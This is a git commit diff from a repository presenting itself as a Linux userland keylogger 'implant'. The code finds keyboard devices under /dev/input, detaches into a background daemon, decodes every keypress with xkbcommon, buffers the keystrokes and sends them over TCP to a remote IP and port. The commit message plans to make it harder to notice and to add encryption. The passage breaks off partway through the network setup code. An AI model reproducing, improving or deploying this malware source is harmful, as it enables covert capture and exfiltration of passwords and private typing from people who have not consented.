mazepa.git


mazepa

~ linux userland keylogger
git clone https://github.com/djnnvx/mazepa.git
log | files | refs | archive | README

commit 374cd45abf6791f68bf66e114b62760feb79dfc9
parent f2226f0c89a55bdf03107d183f3cae5fe9a0ec68
Author: winds0r <[email protected]>
Date: Wed, 18 Oct 2023 21:17:34 +0200

fix(implant): memory leaks & improving comments there is a couple of considerations to take for the future. * `select` method is less than ideal for an implant that could trigger every 500ms or so. we should instead poll new events * there should be no reason to get the key description from the implant, if we can just recover the event and the configured locale. this would also fix the static compilation problem. * the server has no specific encryption setup for now, maybe we could work on that once the two points above have been fixed.

Diffstat:
Mimplant/includes/implant.h | 50++++++++++++++++++++++----------------------------
Mimplant/sources/daemon.c | 55++++++++++++++++++++++++++-----------------------------
Mimplant/sources/keyboard.c | 105++++++++++++++++++++++++++++++++++++-------------------------------------------
Mimplant/sources/logger.c | 366+++++++++++++++++++++++++++++++++++++++++--------------------------------------
Mimplant/sources/main.c | 32++++++++++++++------------------
Mimplant/sources/net.c | 172++++++++++++++++++++++++++++++++++++-------------------------------------------
Mimplant/sources/opt.c | 70+++++++++++++++++++++++++++++++++++-----------------------------------
Mimplant/sources/utils.c | 207+++++++++++++++++++++++++++++++++++++------------------------------------------

8 files changed, 513 insertions(+), 544 deletions(-)

diff --git a/implant/includes/implant.h b/implant/includes/implant.h
@@ -2,10 +2,9 @@
 #ifndef IMPLANT_H
 #define IMPLANT_H
 
-
-#include <sys/types.h>
 #include <stdint.h>
 #include <sys/queue.h>
+#include <sys/types.h>
 #include <unistd.h>
 
 #define QUEUE_BUFFER_SIZE 1024
@@ -18,21 +17,20 @@
 */
 typedef struct keyboard_s keyboard_t;
 struct keyboard_s {
-    int fd;
+  int fd;
 
-    ssize_t nb_chars;
-    char buffer[QUEUE_BUFFER_SIZE];
+  ssize_t nb_chars;
+  char buffer[QUEUE_BUFFER_SIZE];
 
-    char name[STRING_BUFFER_SIZE];
-    TAILQ_ENTRY(keyboard_s) devices;
+  char name[STRING_BUFFER_SIZE];
+  TAILQ_ENTRY(keyboard_s) devices;
 };
 
 typedef struct translated_key {
-    char const *description;
-    char const representation;
+  char const *description;
+  char const representation;
 } translated_key_t;
 
-
 /*
     contains project settings, such as target
     port & IP address, whether debug mode is enabled
@@ -40,17 +38,16 @@ typedef struct translated_key {
 */
 typedef struct implant_s {
 
-    /* remote connection settings */
-    unsigned short port;
-    char ip[STRING_BUFFER_SIZE];
-    int disable_net;
+  /* remote connection settings */
+  unsigned short port;
+  char ip[STRING_BUFFER_SIZE];
+  int disable_net;
 
-    /* keyboard settings */
-    TAILQ_HEAD(listhead, keyboard_s) kbd;
+  /* keyboard settings */
+  TAILQ_HEAD(listhead, keyboard_s) kbd;
 
 } implant_t;
 
-
 #define SUCCESSFUL 1
 #define ERROR 0
 
@@ -58,23 +55,21 @@ typedef struct implant_s {
 #include <syslog.h>
 
 #ifndef DEBUG_LOG
-#define DEBUG_LOG(s, ...)                               \
-    do {                                                \
-        char data[256] = {0};                           \
-        if (0 > snprintf(data, 255, s, ##__VA_ARGS__))  \
-            _exit(1);                                   \
-        syslog(LOG_NOTICE, data);                       \
-    } while (0)
+#define DEBUG_LOG(s, ...)                                                      \
+  do {                                                                         \
+    char data[256] = {0};                                                      \
+    if (0 > snprintf(data, 255, s, ##__VA_ARGS__))                             \
+      _exit(1);                                                                \
+    syslog(LOG_NOTICE, data);                                                  \
+  } while (0)
 #endif
 
-
-
 #define KEY_PRESSED 1
 #define KEY_RELEASED 0
 
 // net.c
 int init_remote_connection(implant_t *);
-int send_key_description(int, char [STRING_BUFFER_SIZE]);
+int send_key_description(int, char[STRING_BUFFER_SIZE]);
 
 // opt.c
 int parse_user_input(int, char **, implant_t *);
@@ -95,5 +90,4 @@ char *remove_repeating_whitespaces(char *);
 void free_tab(uint8_t **);
 char **tabgen(const char *, char);
 
-
 #endif /* IMPLANT_H */
diff --git a/implant/sources/daemon.c b/implant/sources/daemon.c
@@ -1,48 +1,45 @@
 
 #include "implant.h"
+#include <signal.h>
 #include <stdio.h>
 #include <stdlib.h>
-#include <unistd.h>
-#include <signal.h>
-#include <sys/types.h>
 #include <sys/stat.h>
-
+#include <sys/types.h>
+#include <unistd.h>
 
 void daemon_setup(void) {
 
-    pid_t pid;
-
-    /* Fork off the parent process */
-    pid = fork();
+  pid_t pid;
 
-    if (pid < 0)
-        exit(EXIT_FAILURE);
+  /* Fork off the parent process */
+  pid = fork();
 
-    if (pid > 0)
-        exit(EXIT_SUCCESS);
+  if (pid < 0)
+    exit(EXIT_FAILURE);
 
-    if (setsid() < 0)
-        exit(EXIT_FAILURE);
+  if (pid > 0)
+    exit(EXIT_SUCCESS);
 
-    /* FIXME: implement decent signal handler here */
-    signal(SIGCHLD, SIG_IGN);
-    signal(SIGHUP, SIG_IGN);
+  if (setsid() < 0)
+    exit(EXIT_FAILURE);
 
-    pid = fork();
-    if (pid < 0)
-        exit(EXIT_FAILURE);
+  /* FIXME: implement decent signal handler here */
+  signal(SIGCHLD, SIG_IGN);
+  signal(SIGHUP, SIG_IGN);
 
-    if (pid > 0)
-        exit(EXIT_SUCCESS);
+  pid = fork();
+  if (pid < 0)
+    exit(EXIT_FAILURE);
 
-    umask(0);
-    chdir("/tmp");
+  if (pid > 0)
+    exit(EXIT_SUCCESS);
 
-    for (long x = sysconf(_SC_OPEN_MAX); x>=0; x--)
-    {
-        close((int)x);
-    }
+  umask(0);
+  chdir("/tmp");
 
-    openlog("mazepa", LOG_PID, LOG_DAEMON);
+  for (long x = sysconf(_SC_OPEN_MAX); x >= 0; x--) {
+    close((int)x);
+  }
 
+  openlog("mazepa", LOG_PID, LOG_DAEMON);
 }
diff --git a/implant/sources/keyboard.c b/implant/sources/keyboard.c
@@ -3,107 +3,98 @@
     keyboard handling and local support.
 */
 
-
 #include "implant.h"
 
+#include <dirent.h>
 #include <errno.h>
+#include <fcntl.h>
 #include <stddef.h>
 #include <stdint.h>
 #include <stdio.h>
 #include <stdlib.h>
 #include <string.h>
-#include <fcntl.h>
 #include <sys/queue.h>
 #include <sys/stat.h>
 #include <sys/types.h>
-#include <dirent.h>
 #include <unistd.h>
 
-
 static int is_kbd(const struct dirent *f) {
-    size_t len = strlen(f->d_name);
+  size_t len = strlen(f->d_name);
 
-    if (len < 3)
-        return 0;
+  if (len < 3)
+    return 0;
 
-    return f->d_name[len - 3] == 'k' && f->d_name[len - 2] == 'b' && f->d_name[len - 1] == 'd';
+  return f->d_name[len - 3] == 'k' && f->d_name[len - 2] == 'b' &&
+         f->d_name[len - 1] == 'd';
 }
 
-
 void fetch_available_keyboards(implant_t *instance) {
 
-    /*
-        input devices usually live in /dev/input/
+  /*
+      input devices usually live in /dev/input/
 
-        you can identify the in the by-path subdirectory, which maps each
-        device name to a symlink
+      you can identify the in the by-path subdirectory, which maps each
+      device name to a symlink
 
-        here, we will return set an array of file-descriptor for each available
-        keyboard on the machine, it should be appended with a -1 that should serve
-        as a NULL value
-    */
+      here, we will return set an array of file-descriptor for each available
+      keyboard on the machine, it should be appended with a -1 that should serve
+      as a NULL value
+  */
 
-    struct dirent **char_devices = NULL;
-    int possible_paths = scandir(
-        "/dev/input/by-path/",
-        &char_devices,
-        &is_kbd,
-        &alphasort
-    );
+  struct dirent **char_devices = NULL;
+  int possible_paths =
+      scandir("/dev/input/by-path/", &char_devices, &is_kbd, &alphasort);
 
-    if (-1 == possible_paths || 0 > chdir("/dev/input/by-path/")) {
+  if (-1 == possible_paths || 0 > chdir("/dev/input/by-path/")) {
 
 #ifdef DEBUG
-        DEBUG_LOG("could not find possible keyboard paths");
+    DEBUG_LOG("could not find possible keyboard paths");
 #endif
 
-        return;
-    }
+    return;
+  }
 
-    /* prepare TAILQ  */
-    TAILQ_INIT(&instance->kbd);
+  /* prepare TAILQ  */
+  TAILQ_INIT(&instance->kbd);
 
-    char rpath[2048] = {0};
-    for (int ctr = -1; ++ctr < possible_paths;) {
-        if (!realpath(char_devices[ctr]->d_name, rpath)) {
+  char rpath[2048] = {0};
+  for (int ctr = -1; ++ctr < possible_paths;) {
+    if (!realpath(char_devices[ctr]->d_name, rpath)) {
 
 #ifdef DEBUG
-            DEBUG_LOG(
-                "[!] Could not run realpath(%s): %s",
-                char_devices[ctr]->d_name, strerror(errno)
-            );
+      DEBUG_LOG("[!] Could not run realpath(%s): %s", char_devices[ctr]->d_name,
+                strerror(errno));
 #endif
 
-            continue;
-        }
-
+      continue;
+    }
 
-        keyboard_t *kbd = malloc(sizeof(keyboard_t));
-        if (!kbd) {
+    keyboard_t *kbd = malloc(sizeof(keyboard_t));
+    if (!kbd) {
 
 #ifdef DEBUG
-            DEBUG_LOG("[!] allocate memory for keyboard_t");
+      DEBUG_LOG("[!] allocate memory for keyboard_t");
 #endif
 
-            continue;
-        }
-
+      continue;
+    }
 
-        kbd->fd = open(rpath, O_RDONLY | O_NOCTTY | O_NDELAY);
-        if (kbd->fd < 0) {
+    kbd->fd = open(rpath, O_RDONLY | O_NOCTTY | O_NDELAY);
+    if (kbd->fd < 0) {
 
 #ifdef DEBUG
-            DEBUG_LOG("[!] Could not open %s: %s", rpath, strerror(errno));
+      DEBUG_LOG("[!] Could not open %s: %s", rpath, strerror(errno));
 #endif
 
-            continue;
-        }
-
-        strncpy(kbd->name, rpath, 63);
-        TAILQ_INSERT_HEAD(&instance->kbd, kbd, devices);
+      continue;
     }
 
-    for (int ctr = -1; ++ctr < possible_paths;)
-        free(char_devices[ctr]);
-    free(char_devices);
+    memset(kbd->name, 0, 64);
+    strncpy(kbd->name, rpath, 63);
+    TAILQ_INSERT_HEAD(&instance->kbd, kbd, devices);
+  }
+
+  for (int ctr = -1; ++ctr < possible_paths;)
+    free(char_devices[ctr]);
+  free(char_devices);
 }
diff --git a/implant/sources/logger.c b/implant/sources/logger.c
@@ -1,289 +1,305 @@
 
 #include "implant.h"
 #include <alloca.h>
-#include <stdlib.h>
 #include <bits/types/struct_timeval.h>
+#include <errno.h>
 #include <linux/input-event-codes.h>
+#include <linux/input.h>
+#include <stdbool.h>
 #include <stddef.h>
+#include <stdlib.h>
 #include <string.h>
-#include <errno.h>
 #include <sys/queue.h>
 #include <sys/select.h>
-#include <linux/input.h>
 #include <sys/types.h>
 #include <unistd.h>
-#include <stdbool.h>
-#include <string.h>
 #include <xkbcommon/xkbcommon.h>
 
-
 static const translated_key_t KEYS[] = {
-    { "space", ' ' },
-    { "comma", ',' },
-    { "period", '.' },
-    { "slash", '/' },
-    { "questionmark", '?' },
-    { "semicolon", ';' },
-    { "apostrophe", '\'' },
-    { "bracketleft", '[' },
-    { "bracketright", ']' },
-    { "backslash", '\\' },
-    { "pipe", '|' },
-    { "Tab", '\t' },
-    { "minus", '-'},
-    { "plus", '+'},
-    { "equal", '='},
-    { NULL, 0 },
+    {"space", ' '},
+    {"comma", ','},
+    {"period", '.'},
+    {"slash", '/'},
+    {"questionmark", '?'},
+    {"semicolon", ';'},
+    {"apostrophe", '\''},
+    {"bracketleft", '['},
+    {"bracketright", ']'},
+    {"backslash", '\\'},
+    {"pipe", '|'},
+    {"Tab", '\t'},
+    {"minus", '-'},
+    {"plus", '+'},
+    {"equal", '='},
+    {"dollar", '$'},
+    {"percentage", '%'},
+    {"star", '*'},
+    {"parenthesisleft", '('},
+    {"parenthesisright", ')'},
+    {"underscore", '_'},
+    {"ampersand", '&'},
+    {"pound", '#'},
+    {"arobase", '@'},
+    {"tild", '~'},
+    {NULL, 0},
 };
 
 static int get_highest_fd(implant_t *instance) {
-    int highest_fd = -1;
+  int highest_fd = -1;
 
-    keyboard_t *it = NULL;
-    TAILQ_FOREACH(it, &instance->kbd, devices) {
-        highest_fd = (it->fd > highest_fd) ? it->fd : highest_fd;
-    }
-    return highest_fd;
+  keyboard_t *it = NULL;
+  TAILQ_FOREACH(it, &instance->kbd, devices) {
+    highest_fd = (it->fd > highest_fd) ? it->fd : highest_fd;
+  }
+  return highest_fd;
 }
 
-
 static char *check_translated_key(char *key_desc) {
-    for (size_t ctr = 0; KEYS[ctr].description != NULL; ctr++) {
-        if (!strcmp(KEYS[ctr].description, key_desc)) {
+  for (size_t ctr = 0; KEYS[ctr].description != NULL; ctr++) {
+    if (!strcmp(KEYS[ctr].description, key_desc)) {
 
-            memset(key_desc, 0, STRING_BUFFER_SIZE);
-            key_desc[0] = KEYS[ctr].representation;
+      memset(key_desc, 0, STRING_BUFFER_SIZE);
+      key_desc[0] = KEYS[ctr].representation;
 
-            break;
-        }
+      break;
     }
-    return key_desc;
+  }
+  return key_desc;
 }
 
-
 static int log_keyboard(int fd, struct xkb_state *state, char **key_desc_ptr) {
-    struct input_event evt = {0};
-    static bool shift_pressed = false;
+  struct input_event evt = {0};
+  static bool shift_pressed = false;
 
+  /*
+      read events out of /dev/input/by-path/${**}-kbd
 
-    /*
-        read events out of /dev/input/by-path/${**}-kbd
-
-    TODO:
-        for now, we only read one, but we can attempt to read them in
-        bulk of 6-10 once bufferizing messages is implemented
-    */
+  TODO:
+      for now, we only read one, but we can attempt to read them in
+      bulk of 6-10 once bufferizing messages is implemented
+  */
 
-    ssize_t bytes_read = read(fd, &evt, sizeof(evt));
+  ssize_t bytes_read = read(fd, &evt, sizeof(evt));
 #ifdef DEBUG
-        DEBUG_LOG("[!] read %ld bytes", bytes_read);
+  DEBUG_LOG("[!] read %ld bytes", bytes_read);
 #endif
 
-
-    if (bytes_read != sizeof(evt)) {
+  if (bytes_read != sizeof(evt)) {
 
 #ifdef DEBUG
-        DEBUG_LOG("[!] read() error: %s", strerror(errno));
+    DEBUG_LOG("[!] read() error: %s", strerror(errno));
 #endif
 
-        return ERROR;
-    }
+    return ERROR;
+  }
 
-    /* checking is we are in MAJ key. TODO: check if CAPS_LOCK is enabled or not. */
-    if (evt.type == EV_KEY && evt.value == KEY_RELEASED) {
-        if (evt.code == KEY_LEFTSHIFT || evt.code == KEY_RIGHTSHIFT) {
-            shift_pressed = false;
-            return SUCCESSFUL;
-        }
+  /* checking is we are in MAJ key. TODO: check if CAPS_LOCK is enabled or not.
+   */
+  if (evt.type == EV_KEY && evt.value == KEY_RELEASED) {
+    if (evt.code == KEY_LEFTSHIFT || evt.code == KEY_RIGHTSHIFT) {
+      shift_pressed = false;
+      return SUCCESSFUL;
     }
+  }
 
-    if (evt.type == EV_KEY && evt.value == KEY_PRESSED) {
-
-        if (evt.code == KEY_LEFTSHIFT || evt.code == KEY_RIGHTSHIFT) {
-            shift_pressed = true;
-            return SUCCESSFUL;
-        }
+  if (evt.type == EV_KEY && evt.value == KEY_PRESSED) {
 
-        /*
-            TODO:
+    if (evt.code == KEY_LEFTSHIFT || evt.code == KEY_RIGHTSHIFT) {
+      shift_pressed = true;
+      return SUCCESSFUL;
+    }
 
-            1) add support for xlib as well, so that wayland AND xlib are
-            supported. this should allow us to then relay those without issues
+    /*
+        TODO:
 
-            2) add check for which library is installed & add abstraction layer
-        */
+        1) add support for xlib as well, so that wayland AND xlib are
+        supported. this should allow us to then relay those without issues
 
+        2) add check for which library is installed & add abstraction layer
+    */
 
-        xkb_keysym_t keysym = xkb_state_key_get_one_sym(state, evt.code + 8);
+    xkb_keysym_t keysym = xkb_state_key_get_one_sym(state, evt.code + 8);
 
-        if (shift_pressed)
-            keysym = xkb_keysym_to_upper(keysym);
+    if (shift_pressed)
+      keysym = xkb_keysym_to_upper(keysym);
 
-        memset(*key_desc_ptr, 0, STRING_BUFFER_SIZE);
-        xkb_keysym_get_name(keysym, *key_desc_ptr, STRING_BUFFER_SIZE);
+    memset(*key_desc_ptr, 0, STRING_BUFFER_SIZE);
+    xkb_keysym_get_name(keysym, *key_desc_ptr, STRING_BUFFER_SIZE);
 
-        *key_desc_ptr = check_translated_key(*key_desc_ptr);
-    }
+    *key_desc_ptr = check_translated_key(*key_desc_ptr);
+  }
 
-    return SUCCESSFUL;
+  return SUCCESSFUL;
 }
 
-
 /*
     main loop to listen for keys and stuff
 */
 void keylog(implant_t *instance, int sockfd) {
 
+  /* first set up select etc */
+  int highest_fd = get_highest_fd(instance);
+  fd_set rd, err;
+  int status = 0;
 
-    /* first set up select etc */
-    int highest_fd = get_highest_fd(instance);
-    fd_set rd, err;
-    int status = 0;
-
-    if (highest_fd < 0) {
+  if (highest_fd < 0) {
 
 #ifdef DEBUG
-        DEBUG_LOG("[!] no keyboard found. exiting");
+    DEBUG_LOG("[!] no keyboard found. exiting");
 #endif
 
-        return;
-    }
-
+    return;
+  }
 
-    /*
-       initialize xkbcommon context
+  /*
+     initialize xkbcommon context
 
-       this is the stuff that allows us to map keys to
-       the correct language & manages special characters, shift, etc.
-    */
+     this is the stuff that allows us to map keys to
+     the correct language & manages special characters, shift, etc.
+  */
 
-    struct xkb_context *context = NULL;
-    struct xkb_keymap *keymap = NULL;
-    struct xkb_state *state = NULL;
+  struct xkb_context *context = NULL;
+  struct xkb_keymap *keymap = NULL;
+  struct xkb_state *state = NULL;
 
-    context = xkb_context_new(0);
-    if (!context) {
+  context = xkb_context_new(0);
+  if (!context) {
 
 #ifdef DEBUG
-        DEBUG_LOG("[!] error with xkb_context_new(): %s", strerror(errno));
+    DEBUG_LOG("[!] error with xkb_context_new(): %s", strerror(errno));
 #endif
 
-        return;
+    return;
+  }
 
-    }
-
-    keymap = xkb_keymap_new_from_names(context, NULL, 0);
-    if (!keymap) {
+  keymap = xkb_keymap_new_from_names(context, NULL, 0);
+  if (!keymap) {
 
 #ifdef DEBUG
-        DEBUG_LOG("[!] error with xkb_keymap_new_from_names(): %s", strerror(errno));
+    DEBUG_LOG("[!] error with xkb_keymap_new_from_names(): %s",
+              strerror(errno));
 #endif
 
-        goto LOG_FUNCTION_CLEANUP;
-    }
+    goto LOG_FUNCTION_CLEANUP;
+  }
 
-    state = xkb_state_new(keymap);
-    if (!state) {
+  state = xkb_state_new(keymap);
+  if (!state) {
 
 #ifdef DEBUG
-        DEBUG_LOG("[!] error with xkb_state_new(): %s", strerror(errno));
+    DEBUG_LOG("[!] error with xkb_state_new(): %s", strerror(errno));
 #endif
 
-        goto LOG_FUNCTION_CLEANUP;
+    goto LOG_FUNCTION_CLEANUP;
+  }
+
+  char *key_desc = malloc(sizeof(char) * (STRING_BUFFER_SIZE + 1));
+  if (!key_desc)
+    goto LOG_FUNCTION_CLEANUP;
+
+  memset(key_desc, 0, STRING_BUFFER_SIZE);
+
+  /* run the damn loop */
+  while (0x520) {
+
+    /* setup FD-sets */
+    keyboard_t *it = NULL;
+    TAILQ_FOREACH(it, &instance->kbd, devices) {
+      FD_SET(it->fd, &rd);
+      FD_SET(it->fd, &err);
     }
 
+    /*
+        check if a key has been pressed
 
-    /* run the damn loop */
-    while (0x520) {
+        i really dont like this method because it means that everytime you
+        press a key, a least 2 syscalls are ran (select & read)
 
-        /* setup FD-sets */
-        keyboard_t *it = NULL;
-        TAILQ_FOREACH(it, &instance->kbd, devices) {
-            FD_SET(it->fd, &rd);
-            FD_SET(it->fd, &err);
-        }
+        since we are buffering the keys anyway, why not poll for new events
+        every n seconds & then call read() ? is there a risk of missing keys?
+       tbd
 
-        /* check if a key has been pressed */
+        this select method works well for servers, but not really to poll new
+       events
+    */
 #ifdef DEBUG
-        struct timeval timeout = {0, 1};
-        status = select(highest_fd + 1, &rd, NULL, &err, &timeout);
+    struct timeval timeout = {0, 1};
+    status = select(highest_fd + 1, &rd, NULL, &err, &timeout);
 #else
-        status = select(highest_fd + 1, &rd, NULL, &err, NULL);
+    status = select(highest_fd + 1, &rd, NULL, &err, NULL);
 #endif
 
-
-        if (status < 0) {
+    if (status < 0) {
 
 #ifdef DEBUG
-            DEBUG_LOG("[!] select error: %s", strerror(errno));
+      DEBUG_LOG("[!] select error: %s", strerror(errno));
 #endif
 
-            goto LOG_FUNCTION_CLEANUP;
-        }
+      goto LOG_FUNCTION_CLEANUP;
+    }
 
-        /* check file descriptors (first for error, then for new input) */
-        it = NULL;
-        TAILQ_FOREACH(it, &instance->kbd, devices) {
-            if (FD_ISSET(it->fd, &err)) {
+    /* check file descriptors (first for error, then for new input) */
+    it = NULL;
+    TAILQ_FOREACH(it, &instance->kbd, devices) {
+      if (FD_ISSET(it->fd, &err)) {
 
 #ifdef DEBUG
-                DEBUG_LOG("[!] Error on file descriptor %d", it->fd);
+        DEBUG_LOG("[!] Error on file descriptor %d", it->fd);
 #endif
 
-                /* keyboard has been un-plugged, let's continue */
-                FD_CLR(it->fd, &rd);
-                FD_CLR(it->fd, &err);
-
-                close(it->fd);
-                TAILQ_REMOVE(&instance->kbd, it, devices);
-
-                /*
-                TODO: there is probably a memory leak here, investigate how to fix
-
-                (we allocate keyboard_t instance but we don't free it here... :x )
-                */
-
-                continue;
-            }
+        /* keyboard has been un-plugged, let's continue */
+        FD_CLR(it->fd, &rd);
+        FD_CLR(it->fd, &err);
 
-            /* checking for new input here */
-            if (FD_ISSET(it->fd, &rd)) {
+        close(it->fd);
 
-                char *key_desc = malloc(sizeof(char) * (STRING_BUFFER_SIZE + 1));
-                memset(key_desc, 0, STRING_BUFFER_SIZE);
+        /* making sure we dont have a memory leak here */
+        void *tmp_ptr = &instance->kbd;
+        TAILQ_REMOVE(&instance->kbd, it, devices);
 
-                if (!key_desc) {
-                    goto LOG_FUNCTION_CLEANUP;
-                }
+        free(tmp_ptr);
+        continue;
+      }
 
-                /*
-                    should we really kill the run here or can we recover this ?
-                    i need to run some tests before making a decision.
-                */
-                if (ERROR == log_keyboard(it->fd, state, &key_desc))
-                    goto LOG_FUNCTION_CLEANUP;
+      /* checking for new input here */
+      if (FD_ISSET(it->fd, &rd)) {
 
+        memset(key_desc, 0, STRING_BUFFER_SIZE);
 
-                if (ERROR == send_key_description(sockfd, key_desc))
-                    goto LOG_FUNCTION_CLEANUP;
-            }
-
+        /*
+            should we really kill the run here or can we recover this ?
+            i need to run some tests before making a decision.
+        */
+        if (ERROR == log_keyboard(it->fd, state, &key_desc)) {
+          goto LOG_FUNCTION_CLEANUP;
         }
 
+        if (ERROR == send_key_description(sockfd, key_desc)) {
+          goto LOG_FUNCTION_CLEANUP;
+        }
+      }
     }
-
+  }
 
 LOG_FUNCTION_CLEANUP:
 
-    /* TODO: close the file descriptors */
+  /* closing file descriptors if instance still exists */
+  if (instance != NULL) {
+    keyboard_t *it = NULL;
+    TAILQ_FOREACH(it, &instance->kbd, devices) { close(it->fd); }
+  }
+
+  close(sockfd);
 
-    if (state != NULL)
-        xkb_state_unref(state);
+  if (key_desc != NULL)
+    free(key_desc);
 
-    if (keymap != NULL)
-        xkb_keymap_unref(keymap);
+  if (state != NULL)
+    xkb_state_unref(state);
 
-    if (context != NULL)
-        xkb_context_unref(context);
+  if (keymap != NULL)
+    xkb_keymap_unref(keymap);
 
+  if (context != NULL)
+    xkb_context_unref(context);
 }
diff --git a/implant/sources/main.c b/implant/sources/main.c
@@ -6,32 +6,28 @@
 
 #include "implant.h"
 
-
 int main(int ac, char **av) {
 
-    implant_t instance = {
-        .ip = {0},
-        .port = 80, /* ip can be a domain name */
-    };
+  implant_t instance = {
+      .ip = {0}, .port = 80, /* ip can be a domain name */
+  };
 
-    if (ERROR == parse_user_input(ac, av, &instance))
-        return 1;
+  if (ERROR == parse_user_input(ac, av, &instance))
+    return 1;
 
-    daemon_setup();
+  daemon_setup();
 
 #ifdef DEBUG
-    DEBUG_LOG(
-        "[*] Implant settings:\n\tIP:%s\n\tPort:%d",
-        instance.ip, instance.port
-    );
+  DEBUG_LOG("[*] Implant settings:\n\tIP:%s\n\tPort:%d", instance.ip,
+            instance.port);
 #endif
 
-    fetch_available_keyboards(&instance);
+  fetch_available_keyboards(&instance);
 
-    int sockfd = init_remote_connection(&instance);
-    if (sockfd < 0)
-        return 1;
+  int sockfd = init_remote_connection(&instance);
+  if (sockfd < 0)
+    return 1;
 
-    keylog(&instance, sockfd);
-    return 0;
+  keylog(&instance, sockfd);
+  return 0;
 }
diff --git a/implant/sources/net.c b/implant/sources/net.c
@@ -4,156 +4,142 @@
     remote server
 */
 
-
-#include <stddef.h>
-#include <string.h>
-#include <sys/socket.h>
 #include <arpa/inet.h>
+#include <errno.h>
 #include <netinet/in.h>
+#include <stddef.h>
 #include <stdio.h>
-#include <errno.h>
+#include <string.h>
+#include <sys/socket.h>
 #include <unistd.h>
 
 #include "implant.h"
 
-
 int send_key_description(int sockfd, char *key_desc) {
 
-    /*
-        creates a standalone buffer of at least 10 * STRING_BUFFER_SIZE,
-        and only sends a message once the buffer size is full.
+  /*
+      creates a standalone buffer of at least 10 * STRING_BUFFER_SIZE,
+      and only sends a message once the buffer size is full.
 
-        it is the responsability of the user to not pick a STRING_BUFFER_SIZE
-        such that a size_t can hold 10 times its size in nb of characters.
-    */
+      it is the responsability of the user to not pick a STRING_BUFFER_SIZE
+      such that a size_t can hold 10 times its size in nb of characters.
+  */
 
 #ifdef DEBUG
-    /* i dont want to wait that long when testing lol */
+  /* i dont want to wait that long when testing lol */
 
-    const size_t max_nb_chars = STRING_BUFFER_SIZE;
-    static char tmp_buffer[STRING_BUFFER_SIZE] = { 0 };
+  const size_t max_nb_chars = STRING_BUFFER_SIZE;
+  static char tmp_buffer[STRING_BUFFER_SIZE] = {0};
 #else
-    const size_t max_nb_chars = STRING_BUFFER_SIZE * 10;
-    static char tmp_buffer[STRING_BUFFER_SIZE * 10] = { 0 };
+  const size_t max_nb_chars = STRING_BUFFER_SIZE * 10;
+  static char tmp_buffer[STRING_BUFFER_SIZE * 10] = {0};
 #endif
 
-    static size_t nb_chars_in_buffer = 0;
+  static size_t nb_chars_in_buffer = 0;
 
-
-    /* since DEBUG has timeout for keyboard read, we can get empty keys sometimes */
-    size_t length_keydesc = strlen(key_desc);
-    if (length_keydesc == 0) {
-        return SUCCESSFUL;
-    }
+  /* since DEBUG has timeout for keyboard read, we can get empty keys sometimes
+   */
+  size_t length_keydesc = strlen(key_desc);
+  if (length_keydesc == 0) {
+    return SUCCESSFUL;
+  }
 
 #ifdef DEBUG
-            DEBUG_LOG(
-                "buffer: %s [%ld / %ld]",
-                tmp_buffer,
-                nb_chars_in_buffer,
-                max_nb_chars
-            );
-
-            DEBUG_LOG("new key: %s", key_desc);
-#endif
+  DEBUG_LOG("buffer: %s [%ld / %ld]", tmp_buffer, nb_chars_in_buffer,
+            max_nb_chars);
 
+  DEBUG_LOG("new key: %s", key_desc);
+#endif
 
-    if (max_nb_chars < (nb_chars_in_buffer + length_keydesc)) {
-        if (-1 == send(sockfd, tmp_buffer, nb_chars_in_buffer, 0)) {
+  if (max_nb_chars < (nb_chars_in_buffer + length_keydesc)) {
+    if (-1 == send(sockfd, tmp_buffer, nb_chars_in_buffer, 0)) {
 
 #ifdef DEBUG
-            DEBUG_LOG("send: %s", strerror(errno));
+      DEBUG_LOG("send: %s", strerror(errno));
 #endif
-            return ERROR;
-        }
+      return ERROR;
+    }
 
-        memset(tmp_buffer, 0, nb_chars_in_buffer);
-        nb_chars_in_buffer = 0;
+    memset(tmp_buffer, 0, nb_chars_in_buffer);
+    nb_chars_in_buffer = 0;
 
-        if (NULL == strncpy(tmp_buffer, key_desc, max_nb_chars)) {
+    if (NULL == strncpy(tmp_buffer, key_desc, max_nb_chars)) {
 #ifdef DEBUG
-            DEBUG_LOG("strncpy send_key_description: %s", strerror(errno));
+      DEBUG_LOG("strncpy send_key_description: %s", strerror(errno));
 #endif
-            return ERROR;
-        }
+      return ERROR;
+    }
 
-    } else {
+  } else {
 
-        if (NULL == strncat(tmp_buffer, key_desc, max_nb_chars - nb_chars_in_buffer)) {
+    if (NULL ==
+        strncat(tmp_buffer, key_desc, max_nb_chars - nb_chars_in_buffer)) {
 #ifdef DEBUG
-            DEBUG_LOG("strncat send_key_description: %s", strerror(errno));
+      DEBUG_LOG("strncat send_key_description: %s", strerror(errno));
 #endif
-            return ERROR;
-        }
-
+      return ERROR;
     }
+  }
 
-    nb_chars_in_buffer = strlen(tmp_buffer);
-    return SUCCESSFUL;
+  nb_chars_in_buffer = strlen(tmp_buffer);
+  return SUCCESSFUL;
 }
 
-
-
 int init_remote_connection(implant_t *instance) {
 
 #ifdef DEBUG
-    DEBUG_LOG("Initiating remote connection with (%s:%d)", instance->ip, instance->port);
+  DEBUG_LOG("Initiating remote connection with (%s:%d)", instance->ip,
+            instance->port);
 #endif
 
-    /*
-       creating initial socket...
+  /*
+     creating initial socket...
 
-       AF_INET          -> remote connection    (for local, use AF_UNIX)
-       SOCK_STREAM      -> TCP connection       (for UDP, use SOCK_DGRAM)
-       IPPROTO_TCP      -> Specify protocol     (for UDP, use IPPROTO_UDP)
+     AF_INET          -> remote connection    (for local, use AF_UNIX)
+     SOCK_STREAM      -> TCP connection       (for UDP, use SOCK_DGRAM)
+     IPPROTO_TCP      -> Specify protocol     (for UDP, use IPPROTO_UDP)
 
-    */
-    int sockfd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
-    if (sockfd < 0) {
+  */
+  int sockfd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
+  if (sockfd < 0) {
 
 #ifdef DEBUG
-        perror("socket");
+    perror("socket");
 #endif
 
-        close(sockfd);
-        return -1;
-    }
-
-    /* items required to bind socket to remote address */
-    int is_enabled = 1;
-    struct sockaddr_in addr = {
-        .sin_family = AF_INET,
-        .sin_port = htons(instance->port),
-        .sin_addr.s_addr = inet_addr(instance->ip)
-    };
+    close(sockfd);
+    return -1;
+  }
 
+  /* items required to bind socket to remote address */
+  int is_enabled = 1;
+  struct sockaddr_in addr = {.sin_family = AF_INET,
+                             .sin_port = htons(instance->port),
+                             .sin_addr.s_addr = inet_addr(instance->ip)};
 
-    /* setting socket options to make connection more convenient */
-    if (setsockopt(
-            sockfd,
-            SOL_SOCKET,
